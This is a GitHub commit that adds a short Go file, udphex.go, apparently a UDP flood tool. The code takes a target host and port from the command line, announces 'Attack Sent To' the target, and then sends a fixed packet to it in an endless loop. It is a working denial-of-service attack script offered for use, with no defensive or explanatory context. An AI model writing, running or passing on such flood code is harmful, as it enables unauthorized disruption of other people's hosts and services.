Add files via upload

This commit is contained in:
draco 2021-01-07 12:04:40 -06:00 committed by GitHub
parent 757cdca64a
commit 45adb37a26
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 25 additions and 0 deletions

25
udphex.go Normal file
View File

@ -0,0 +1,25 @@
package udphex
import (
"fmt"
"net"
"os"
"time"
)
func boom() {
target := os.Args[1]
port := os.Args[2]
conn, err := net.Dial("udp", target+":"+port)
if err != nil {
print(err)
} else {
fmt.Println("Attack Sent To " + target + " Using Port " + port + " With udphex!")
for {
conn.Write([]byte("\x64\x72\x61\x63\x6f\x73\x75\x64\x70\x68\x65\x78"))
}
}
time.Sleep(300 * time.Second)
fmt.Println("Attack Done!")
os.Exit(0)
}